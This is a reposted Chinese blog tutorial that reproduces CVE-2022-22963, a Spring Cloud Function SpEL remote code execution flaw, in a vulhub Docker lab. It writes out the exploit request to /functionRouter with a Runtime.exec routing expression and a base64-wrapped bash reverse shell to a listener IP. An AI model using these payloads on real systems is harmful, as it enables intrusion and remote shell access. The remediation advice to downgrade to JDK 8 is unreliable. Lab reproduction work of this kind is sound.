0


CVE-2022-22963 Spring Cloud Function SpEL 远程代码执行 漏洞复现

0x01 声明:

    仅供学习参考使用,请勿用作违法用途,否则后果自负。

0x02 简介:

    SpringCloud 是一套分布式系统的解决方案,实现就是函数式编程,在视频转码、音视频转换、数据仓库ETL等与状态相关度低的领域运用的比较多。开发者无需关注服务器环境运维等问题上,专注于自身业务逻辑实现即可。

0x03 漏洞概述:

    在Spring Cloud Function版本3.1.6,3.2.2和更早的不受支持的版本中,当使用路由功能时,用户可以提供特制的SpEL作为路由表达式,这可能导致远程执行代码和访问本地资源。

0x04 影响版本:

    3.0.0.RELEASE <= Spring Cloud Function <= 3.2.2

0x05 环境搭建:

Docker环境:

     参考这篇文章(Docker&Docker-compose环境安装_Evan Kang的博客-CSDN博客)

漏洞环境:

           1、下载vulhub(Vulhub环境压缩包-网络安全文档类资源-CSDN文库)

   (GitHub - vulhub/vulhub: Pre-Built Vulnerable Environments Based on Docker-Compose)

            2、进入vulhub/spring/CVE-2022-22963环境

            ![](https://img-blog.csdnimg.cn/ac79cb84443e4420b5ace02e2287c1de.png)

            3、启动docker环境![](https://img-blog.csdnimg.cn/88c97dee19a94dcab2cbfadab794c9e3.png)

             4、访问系统(这是一个报错页面不用关系)

0x06 漏洞复现

    访问时用Burp拦截。

     利用POC:

            修改请求方式:

​POST /functionRouter HTTP/1.1

            添加请求体内容:

spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("xxxx")

xxxx:(为要执行的命令)

            如图:

             上面执行的为反弹shell命令,经过base64加密之后的内容:(不加密无法成功的)

bash -c {echo,xxx}|{base64,-d}|{bash,-i}

                    ||(Base64)

**bash -i >& /dev/tcp/192.168.16.129/1234 0>&1 **

结果:

0x07 流量分析:

    请求特征:

0x08 修复建议:

    1、安装官方的补丁

    2、降级到 JDK 8 或更低版本,这将消除被攻击的可能性。
标签: 安全 web安全

本文转载自: https://blog.csdn.net/qq_44281295/article/details/126573730
版权归原作者 Evan Kang 所有, 如有侵权,请联系我们删除。

“CVE-2022-22963 Spring Cloud Function SpEL 远程代码执行 漏洞复现”的评论:

还没有评论